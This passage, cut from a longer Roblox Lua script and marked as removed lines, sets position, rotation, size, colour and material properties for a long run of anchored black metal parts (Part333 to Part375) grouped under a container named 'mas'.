- Part333.TopSurface = Enum.SurfaceType.Smooth
- Part333.brickColor = BrickColor.new("Black")
- Part334.Parent = mas
- Part334.CFrame = CFrame.new(31.4071274, 77.9446411, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part334.Orientation = Vector3.new(0, -135, 0)
- Part334.Position = Vector3.new(31.4071274, 77.9446411, 25.4780731)
- Part334.Rotation = Vector3.new(-180, -45, -180)
- Part334.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part334.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part334.Anchored = true
- Part334.BottomSurface = Enum.SurfaceType.Smooth
- Part334.BrickColor = BrickColor.new("Black")
- Part334.Material = Enum.Material.Metal
- Part334.TopSurface = Enum.SurfaceType.Smooth
- Part334.brickColor = BrickColor.new("Black")
- Part335.Parent = mas
- Part335.CFrame = CFrame.new(31.8423386, 75.8446884, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part335.Position = Vector3.new(31.8423386, 75.8446884, 26.9111938)
- Part335.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part335.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part335.Anchored = true
- Part335.BottomSurface = Enum.SurfaceType.Smooth
- Part335.BrickColor = BrickColor.new("Black")
- Part335.Material = Enum.Material.Metal
- Part335.TopSurface = Enum.SurfaceType.Smooth
- Part335.brickColor = BrickColor.new("Black")
- Part336.Parent = mas
- Part336.CFrame = CFrame.new(31.8423386, 73.7446899, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part336.Position = Vector3.new(31.8423386, 73.7446899, 26.9111938)
- Part336.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part336.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part336.Anchored = true
- Part336.BottomSurface = Enum.SurfaceType.Smooth
- Part336.BrickColor = BrickColor.new("Black")
- Part336.Material = Enum.Material.Metal
- Part336.TopSurface = Enum.SurfaceType.Smooth
- Part336.brickColor = BrickColor.new("Black")
- Part337.Parent = mas
- Part337.CFrame = CFrame.new(31.4071274, 61.1448326, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part337.Orientation = Vector3.new(0, -135, 0)
- Part337.Position = Vector3.new(31.4071274, 61.1448326, 25.4780731)
- Part337.Rotation = Vector3.new(-180, -45, -180)
- Part337.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part337.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part337.Anchored = true
- Part337.BottomSurface = Enum.SurfaceType.Smooth
- Part337.BrickColor = BrickColor.new("Black")
- Part337.Material = Enum.Material.Metal
- Part337.TopSurface = Enum.SurfaceType.Smooth
- Part337.brickColor = BrickColor.new("Black")
- Part338.Parent = mas
- Part338.CFrame = CFrame.new(29.6922531, 80.0446091, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part338.Orientation = Vector3.new(0, -90, 0)
- Part338.Position = Vector3.new(29.6922531, 80.0446091, 25.0361633)
- Part338.Rotation = Vector3.new(0, -90, 0)
- Part338.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part338.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part338.Anchored = true
- Part338.BottomSurface = Enum.SurfaceType.Smooth
- Part338.BrickColor = BrickColor.new("Black")
- Part338.Material = Enum.Material.Metal
- Part338.TopSurface = Enum.SurfaceType.Smooth
- Part338.brickColor = BrickColor.new("Black")
- Part339.Parent = mas
- Part339.CFrame = CFrame.new(29.6922531, 61.1448326, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part339.Orientation = Vector3.new(0, -90, 0)
- Part339.Position = Vector3.new(29.6922531, 61.1448326, 25.0361633)
- Part339.Rotation = Vector3.new(0, -90, 0)
- Part339.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part339.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part339.Anchored = true
- Part339.BottomSurface = Enum.SurfaceType.Smooth
- Part339.BrickColor = BrickColor.new("Black")
- Part339.Material = Enum.Material.Metal
- Part339.TopSurface = Enum.SurfaceType.Smooth
- Part339.brickColor = BrickColor.new("Black")
- Part340.Parent = mas
- Part340.CFrame = CFrame.new(31.4071579, 77.9446411, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part340.Orientation = Vector3.new(0, 135, 0)
- Part340.Position = Vector3.new(31.4071579, 77.9446411, 28.3781281)
- Part340.Rotation = Vector3.new(-180, 45, -180)
- Part340.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part340.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part340.Anchored = true
- Part340.BottomSurface = Enum.SurfaceType.Smooth
- Part340.BrickColor = BrickColor.new("Black")
- Part340.Material = Enum.Material.Metal
- Part340.TopSurface = Enum.SurfaceType.Smooth
- Part340.brickColor = BrickColor.new("Black")
- Part341.Parent = mas
- Part341.CFrame = CFrame.new(29.7422714, 61.1448326, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part341.Orientation = Vector3.new(0, -90, 0)
- Part341.Position = Vector3.new(29.7422714, 61.1448326, 28.8362427)
- Part341.Rotation = Vector3.new(0, -90, 0)
- Part341.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part341.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part341.Anchored = true
- Part341.BottomSurface = Enum.SurfaceType.Smooth
- Part341.BrickColor = BrickColor.new("Black")
- Part341.Material = Enum.Material.Metal
- Part341.TopSurface = Enum.SurfaceType.Smooth
- Part341.brickColor = BrickColor.new("Black")
- Part342.Parent = mas
- Part342.CFrame = CFrame.new(31.4071579, 80.0446091, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part342.Orientation = Vector3.new(0, 135, 0)
- Part342.Position = Vector3.new(31.4071579, 80.0446091, 28.3781281)
- Part342.Rotation = Vector3.new(-180, 45, -180)
- Part342.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part342.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part342.Anchored = true
- Part342.BottomSurface = Enum.SurfaceType.Smooth
- Part342.BrickColor = BrickColor.new("Black")
- Part342.Material = Enum.Material.Metal
- Part342.TopSurface = Enum.SurfaceType.Smooth
- Part342.brickColor = BrickColor.new("Black")
- Part343.Parent = mas
- Part343.CFrame = CFrame.new(29.6922531, 73.7446899, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part343.Orientation = Vector3.new(0, -90, 0)
- Part343.Position = Vector3.new(29.6922531, 73.7446899, 25.0361633)
- Part343.Rotation = Vector3.new(0, -90, 0)
- Part343.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part343.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part343.Anchored = true
- Part343.BottomSurface = Enum.SurfaceType.Smooth
- Part343.BrickColor = BrickColor.new("Black")
- Part343.Material = Enum.Material.Metal
- Part343.TopSurface = Enum.SurfaceType.Smooth
- Part343.brickColor = BrickColor.new("Black")
- Part344.Parent = mas
- Part344.CFrame = CFrame.new(29.6922531, 67.4448166, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part344.Orientation = Vector3.new(0, -90, 0)
- Part344.Position = Vector3.new(29.6922531, 67.4448166, 25.0361633)
- Part344.Rotation = Vector3.new(0, -90, 0)
- Part344.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part344.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part344.Anchored = true
- Part344.BottomSurface = Enum.SurfaceType.Smooth
- Part344.BrickColor = BrickColor.new("Black")
- Part344.Material = Enum.Material.Metal
- Part344.TopSurface = Enum.SurfaceType.Smooth
- Part344.brickColor = BrickColor.new("Black")
- Part345.Parent = mas
- Part345.CFrame = CFrame.new(29.6922531, 69.5447388, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part345.Orientation = Vector3.new(0, -90, 0)
- Part345.Position = Vector3.new(29.6922531, 69.5447388, 25.0361633)
- Part345.Rotation = Vector3.new(0, -90, 0)
- Part345.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part345.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part345.Anchored = true
- Part345.BottomSurface = Enum.SurfaceType.Smooth
- Part345.BrickColor = BrickColor.new("Black")
- Part345.Material = Enum.Material.Metal
- Part345.TopSurface = Enum.SurfaceType.Smooth
- Part345.brickColor = BrickColor.new("Black")
- Part346.Parent = mas
- Part346.CFrame = CFrame.new(29.7422714, 63.2448463, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part346.Orientation = Vector3.new(0, -90, 0)
- Part346.Position = Vector3.new(29.7422714, 63.2448463, 28.8362427)
- Part346.Rotation = Vector3.new(0, -90, 0)
- Part346.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part346.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part346.Anchored = true
- Part346.BottomSurface = Enum.SurfaceType.Smooth
- Part346.BrickColor = BrickColor.new("Black")
- Part346.Material = Enum.Material.Metal
- Part346.TopSurface = Enum.SurfaceType.Smooth
- Part346.brickColor = BrickColor.new("Black")
- Part347.Parent = mas
- Part347.CFrame = CFrame.new(31.8423386, 63.2448463, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part347.Position = Vector3.new(31.8423386, 63.2448463, 26.9111938)
- Part347.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part347.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part347.Anchored = true
- Part347.BottomSurface = Enum.SurfaceType.Smooth
- Part347.BrickColor = BrickColor.new("Black")
- Part347.Material = Enum.Material.Metal
- Part347.TopSurface = Enum.SurfaceType.Smooth
- Part347.brickColor = BrickColor.new("Black")
- Part348.Parent = mas
- Part348.CFrame = CFrame.new(31.8423386, 77.9446411, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part348.Position = Vector3.new(31.8423386, 77.9446411, 26.9111938)
- Part348.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part348.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part348.Anchored = true
- Part348.BottomSurface = Enum.SurfaceType.Smooth
- Part348.BrickColor = BrickColor.new("Black")
- Part348.Material = Enum.Material.Metal
- Part348.TopSurface = Enum.SurfaceType.Smooth
- Part348.brickColor = BrickColor.new("Black")
- Part349.Parent = mas
- Part349.CFrame = CFrame.new(29.6922531, 75.8446884, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part349.Orientation = Vector3.new(0, -90, 0)
- Part349.Position = Vector3.new(29.6922531, 75.8446884, 25.0361633)
- Part349.Rotation = Vector3.new(0, -90, 0)
- Part349.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part349.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part349.Anchored = true
- Part349.BottomSurface = Enum.SurfaceType.Smooth
- Part349.BrickColor = BrickColor.new("Black")
- Part349.Material = Enum.Material.Metal
- Part349.TopSurface = Enum.SurfaceType.Smooth
- Part349.brickColor = BrickColor.new("Black")
- Part350.Parent = mas
- Part350.CFrame = CFrame.new(31.4071274, 67.4448166, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part350.Orientation = Vector3.new(0, -135, 0)
- Part350.Position = Vector3.new(31.4071274, 67.4448166, 25.4780731)
- Part350.Rotation = Vector3.new(-180, -45, -180)
- Part350.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part350.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part350.Anchored = true
- Part350.BottomSurface = Enum.SurfaceType.Smooth
- Part350.BrickColor = BrickColor.new("Black")
- Part350.Material = Enum.Material.Metal
- Part350.TopSurface = Enum.SurfaceType.Smooth
- Part350.brickColor = BrickColor.new("Black")
- Part351.Parent = mas
- Part351.CFrame = CFrame.new(31.4071274, 75.8446884, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part351.Orientation = Vector3.new(0, -135, 0)
- Part351.Position = Vector3.new(31.4071274, 75.8446884, 25.4780731)
- Part351.Rotation = Vector3.new(-180, -45, -180)
- Part351.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part351.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part351.Anchored = true
- Part351.BottomSurface = Enum.SurfaceType.Smooth
- Part351.BrickColor = BrickColor.new("Black")
- Part351.Material = Enum.Material.Metal
- Part351.TopSurface = Enum.SurfaceType.Smooth
- Part351.brickColor = BrickColor.new("Black")
- Part352.Parent = mas
- Part352.CFrame = CFrame.new(29.6922531, 65.3447647, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part352.Orientation = Vector3.new(0, -90, 0)
- Part352.Position = Vector3.new(29.6922531, 65.3447647, 25.0361633)
- Part352.Rotation = Vector3.new(0, -90, 0)
- Part352.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part352.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part352.Anchored = true
- Part352.BottomSurface = Enum.SurfaceType.Smooth
- Part352.BrickColor = BrickColor.new("Black")
- Part352.Material = Enum.Material.Metal
- Part352.TopSurface = Enum.SurfaceType.Smooth
- Part352.brickColor = BrickColor.new("Black")
- Part353.Parent = mas
- Part353.CFrame = CFrame.new(31.4071579, 65.3447647, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part353.Orientation = Vector3.new(0, 135, 0)
- Part353.Position = Vector3.new(31.4071579, 65.3447647, 28.3781281)
- Part353.Rotation = Vector3.new(-180, 45, -180)
- Part353.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part353.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part353.Anchored = true
- Part353.BottomSurface = Enum.SurfaceType.Smooth
- Part353.BrickColor = BrickColor.new("Black")
- Part353.Material = Enum.Material.Metal
- Part353.TopSurface = Enum.SurfaceType.Smooth
- Part353.brickColor = BrickColor.new("Black")
- Part354.Parent = mas
- Part354.CFrame = CFrame.new(31.8423386, 65.3447647, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part354.Position = Vector3.new(31.8423386, 65.3447647, 26.9111938)
- Part354.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part354.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part354.Anchored = true
- Part354.BottomSurface = Enum.SurfaceType.Smooth
- Part354.BrickColor = BrickColor.new("Black")
- Part354.Material = Enum.Material.Metal
- Part354.TopSurface = Enum.SurfaceType.Smooth
- Part354.brickColor = BrickColor.new("Black")
- Part355.Parent = mas
- Part355.CFrame = CFrame.new(29.7422714, 75.8446884, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part355.Orientation = Vector3.new(0, -90, 0)
- Part355.Position = Vector3.new(29.7422714, 75.8446884, 28.8362427)
- Part355.Rotation = Vector3.new(0, -90, 0)
- Part355.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part355.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part355.Anchored = true
- Part355.BottomSurface = Enum.SurfaceType.Smooth
- Part355.BrickColor = BrickColor.new("Black")
- Part355.Material = Enum.Material.Metal
- Part355.TopSurface = Enum.SurfaceType.Smooth
- Part355.brickColor = BrickColor.new("Black")
- Part356.Parent = mas
- Part356.CFrame = CFrame.new(31.8423386, 71.6447067, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part356.Position = Vector3.new(31.8423386, 71.6447067, 26.9111938)
- Part356.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part356.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part356.Anchored = true
- Part356.BottomSurface = Enum.SurfaceType.Smooth
- Part356.BrickColor = BrickColor.new("Black")
- Part356.Material = Enum.Material.Metal
- Part356.TopSurface = Enum.SurfaceType.Smooth
- Part356.brickColor = BrickColor.new("Black")
- Part357.Parent = mas
- Part357.CFrame = CFrame.new(31.4071274, 71.6447067, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part357.Orientation = Vector3.new(0, -135, 0)
- Part357.Position = Vector3.new(31.4071274, 71.6447067, 25.4780731)
- Part357.Rotation = Vector3.new(-180, -45, -180)
- Part357.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part357.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part357.Anchored = true
- Part357.BottomSurface = Enum.SurfaceType.Smooth
- Part357.BrickColor = BrickColor.new("Black")
- Part357.Material = Enum.Material.Metal
- Part357.TopSurface = Enum.SurfaceType.Smooth
- Part357.brickColor = BrickColor.new("Black")
- Part358.Parent = mas
- Part358.CFrame = CFrame.new(31.4071579, 73.7446899, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part358.Orientation = Vector3.new(0, 135, 0)
- Part358.Position = Vector3.new(31.4071579, 73.7446899, 28.3781281)
- Part358.Rotation = Vector3.new(-180, 45, -180)
- Part358.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part358.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part358.Anchored = true
- Part358.BottomSurface = Enum.SurfaceType.Smooth
- Part358.BrickColor = BrickColor.new("Black")
- Part358.Material = Enum.Material.Metal
- Part358.TopSurface = Enum.SurfaceType.Smooth
- Part358.brickColor = BrickColor.new("Black")
- Part359.Parent = mas
- Part359.CFrame = CFrame.new(31.4071579, 63.2448463, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part359.Orientation = Vector3.new(0, 135, 0)
- Part359.Position = Vector3.new(31.4071579, 63.2448463, 28.3781281)
- Part359.Rotation = Vector3.new(-180, 45, -180)
- Part359.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part359.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part359.Anchored = true
- Part359.BottomSurface = Enum.SurfaceType.Smooth
- Part359.BrickColor = BrickColor.new("Black")
- Part359.Material = Enum.Material.Metal
- Part359.TopSurface = Enum.SurfaceType.Smooth
- Part359.brickColor = BrickColor.new("Black")
- Part360.Parent = mas
- Part360.CFrame = CFrame.new(29.7422714, 67.4448166, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part360.Orientation = Vector3.new(0, -90, 0)
- Part360.Position = Vector3.new(29.7422714, 67.4448166, 28.8362427)
- Part360.Rotation = Vector3.new(0, -90, 0)
- Part360.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part360.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part360.Anchored = true
- Part360.BottomSurface = Enum.SurfaceType.Smooth
- Part360.BrickColor = BrickColor.new("Black")
- Part360.Material = Enum.Material.Metal
- Part360.TopSurface = Enum.SurfaceType.Smooth
- Part360.brickColor = BrickColor.new("Black")
- Part361.Parent = mas
- Part361.CFrame = CFrame.new(29.6922531, 71.6447067, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part361.Orientation = Vector3.new(0, -90, 0)
- Part361.Position = Vector3.new(29.6922531, 71.6447067, 25.0361633)
- Part361.Rotation = Vector3.new(0, -90, 0)
- Part361.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part361.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part361.Anchored = true
- Part361.BottomSurface = Enum.SurfaceType.Smooth
- Part361.BrickColor = BrickColor.new("Black")
- Part361.Material = Enum.Material.Metal
- Part361.TopSurface = Enum.SurfaceType.Smooth
- Part361.brickColor = BrickColor.new("Black")
- Part362.Parent = mas
- Part362.CFrame = CFrame.new(31.8423386, 69.5447388, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part362.Position = Vector3.new(31.8423386, 69.5447388, 26.9111938)
- Part362.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part362.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part362.Anchored = true
- Part362.BottomSurface = Enum.SurfaceType.Smooth
- Part362.BrickColor = BrickColor.new("Black")
- Part362.Material = Enum.Material.Metal
- Part362.TopSurface = Enum.SurfaceType.Smooth
- Part362.brickColor = BrickColor.new("Black")
- Part363.Parent = mas
- Part363.CFrame = CFrame.new(29.7422714, 71.6447067, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part363.Orientation = Vector3.new(0, -90, 0)
- Part363.Position = Vector3.new(29.7422714, 71.6447067, 28.8362427)
- Part363.Rotation = Vector3.new(0, -90, 0)
- Part363.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part363.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part363.Anchored = true
- Part363.BottomSurface = Enum.SurfaceType.Smooth
- Part363.BrickColor = BrickColor.new("Black")
- Part363.Material = Enum.Material.Metal
- Part363.TopSurface = Enum.SurfaceType.Smooth
- Part363.brickColor = BrickColor.new("Black")
- Part364.Parent = mas
- Part364.CFrame = CFrame.new(31.4071274, 73.7446899, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part364.Orientation = Vector3.new(0, -135, 0)
- Part364.Position = Vector3.new(31.4071274, 73.7446899, 25.4780731)
- Part364.Rotation = Vector3.new(-180, -45, -180)
- Part364.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part364.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part364.Anchored = true
- Part364.BottomSurface = Enum.SurfaceType.Smooth
- Part364.BrickColor = BrickColor.new("Black")
- Part364.Material = Enum.Material.Metal
- Part364.TopSurface = Enum.SurfaceType.Smooth
- Part364.brickColor = BrickColor.new("Black")
- Part365.Parent = mas
- Part365.CFrame = CFrame.new(31.4071579, 69.5447388, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part365.Orientation = Vector3.new(0, 135, 0)
- Part365.Position = Vector3.new(31.4071579, 69.5447388, 28.3781281)
- Part365.Rotation = Vector3.new(-180, 45, -180)
- Part365.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part365.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part365.Anchored = true
- Part365.BottomSurface = Enum.SurfaceType.Smooth
- Part365.BrickColor = BrickColor.new("Black")
- Part365.Material = Enum.Material.Metal
- Part365.TopSurface = Enum.SurfaceType.Smooth
- Part365.brickColor = BrickColor.new("Black")
- Part366.Parent = mas
- Part366.CFrame = CFrame.new(29.7422714, 65.3447647, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part366.Orientation = Vector3.new(0, -90, 0)
- Part366.Position = Vector3.new(29.7422714, 65.3447647, 28.8362427)
- Part366.Rotation = Vector3.new(0, -90, 0)
- Part366.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part366.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part366.Anchored = true
- Part366.BottomSurface = Enum.SurfaceType.Smooth
- Part366.BrickColor = BrickColor.new("Black")
- Part366.Material = Enum.Material.Metal
- Part366.TopSurface = Enum.SurfaceType.Smooth
- Part366.brickColor = BrickColor.new("Black")
- Part367.Parent = mas
- Part367.CFrame = CFrame.new(31.8423386, 61.1448326, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part367.Position = Vector3.new(31.8423386, 61.1448326, 26.9111938)
- Part367.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part367.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part367.Anchored = true
- Part367.BottomSurface = Enum.SurfaceType.Smooth
- Part367.BrickColor = BrickColor.new("Black")
- Part367.Material = Enum.Material.Metal
- Part367.TopSurface = Enum.SurfaceType.Smooth
- Part367.brickColor = BrickColor.new("Black")
- Part368.Parent = mas
- Part368.CFrame = CFrame.new(29.7422714, 80.0446091, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part368.Orientation = Vector3.new(0, -90, 0)
- Part368.Position = Vector3.new(29.7422714, 80.0446091, 28.8362427)
- Part368.Rotation = Vector3.new(0, -90, 0)
- Part368.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part368.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part368.Anchored = true
- Part368.BottomSurface = Enum.SurfaceType.Smooth
- Part368.BrickColor = BrickColor.new("Black")
- Part368.Material = Enum.Material.Metal
- Part368.TopSurface = Enum.SurfaceType.Smooth
- Part368.brickColor = BrickColor.new("Black")
- Part369.Parent = mas
- Part369.CFrame = CFrame.new(31.4071579, 84.2445755, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part369.Orientation = Vector3.new(0, 135, 0)
- Part369.Position = Vector3.new(31.4071579, 84.2445755, 28.3781281)
- Part369.Rotation = Vector3.new(-180, 45, -180)
- Part369.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part369.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part369.Anchored = true
- Part369.BottomSurface = Enum.SurfaceType.Smooth
- Part369.BrickColor = BrickColor.new("Black")
- Part369.Material = Enum.Material.Metal
- Part369.TopSurface = Enum.SurfaceType.Smooth
- Part369.brickColor = BrickColor.new("Black")
- Part370.Parent = mas
- Part370.CFrame = CFrame.new(29.6922531, 77.9446411, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part370.Orientation = Vector3.new(0, -90, 0)
- Part370.Position = Vector3.new(29.6922531, 77.9446411, 25.0361633)
- Part370.Rotation = Vector3.new(0, -90, 0)
- Part370.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part370.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part370.Anchored = true
- Part370.BottomSurface = Enum.SurfaceType.Smooth
- Part370.BrickColor = BrickColor.new("Black")
- Part370.Material = Enum.Material.Metal
- Part370.TopSurface = Enum.SurfaceType.Smooth
- Part370.brickColor = BrickColor.new("Black")
- Part371.Parent = mas
- Part371.CFrame = CFrame.new(29.7422714, 69.5447388, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part371.Orientation = Vector3.new(0, -90, 0)
- Part371.Position = Vector3.new(29.7422714, 69.5447388, 28.8362427)
- Part371.Rotation = Vector3.new(0, -90, 0)
- Part371.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part371.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part371.Anchored = true
- Part371.BottomSurface = Enum.SurfaceType.Smooth
- Part371.BrickColor = BrickColor.new("Black")
- Part371.Material = Enum.Material.Metal
- Part371.TopSurface = Enum.SurfaceType.Smooth
- Part371.brickColor = BrickColor.new("Black")
- Part372.Parent = mas
- Part372.CFrame = CFrame.new(14.4423742, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part372.Orientation = Vector3.new(0, -90, 0)
- Part372.Position = Vector3.new(14.4423742, 83.1945953, 25.0361633)
- Part372.Rotation = Vector3.new(0, -90, 0)
- Part372.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part372.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part372.Anchored = true
- Part372.BottomSurface = Enum.SurfaceType.Smooth
- Part372.BrickColor = BrickColor.new("Black")
- Part372.Material = Enum.Material.Metal
- Part372.TopSurface = Enum.SurfaceType.Smooth
- Part372.brickColor = BrickColor.new("Black")
- Part373.Parent = mas
- Part373.CFrame = CFrame.new(26.5925217, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part373.Orientation = Vector3.new(0, -90, 0)
- Part373.Position = Vector3.new(26.5925217, 83.1945953, 25.0361633)
- Part373.Rotation = Vector3.new(0, -90, 0)
- Part373.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part373.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part373.Anchored = true
- Part373.BottomSurface = Enum.SurfaceType.Smooth
- Part373.BrickColor = BrickColor.new("Black")
- Part373.Material = Enum.Material.Metal
- Part373.TopSurface = Enum.SurfaceType.Smooth
- Part373.brickColor = BrickColor.new("Black")
- Part374.Parent = mas
- Part374.CFrame = CFrame.new(22.3923874, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part374.Orientation = Vector3.new(0, -90, 0)
- Part374.Position = Vector3.new(22.3923874, 83.1945953, 25.0361633)
- Part374.Rotation = Vector3.new(0, -90, 0)
- Part374.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part374.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part374.Anchored = true
- Part374.BottomSurface = Enum.SurfaceType.Smooth
- Part374.BrickColor = BrickColor.new("Black")
- Part374.Material = Enum.Material.Metal
- Part374.TopSurface = Enum.SurfaceType.Smooth
- Part374.brickColor = BrickColor.new("Black")
- Part375.Parent = mas
- Part375.CFrame = CFrame.new(18.542366, 83.1945953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part375.Orientation = Vector3.new(0, -90, 0)
- Part375.Position = Vector3.new(18.542366, 83.1945953, 25.0361633)
- Part375.Rotation = Vector3.new(0, -90, 0)
- Part375.Color = Color3.new(0.105882, 0.164706, 0.207843)
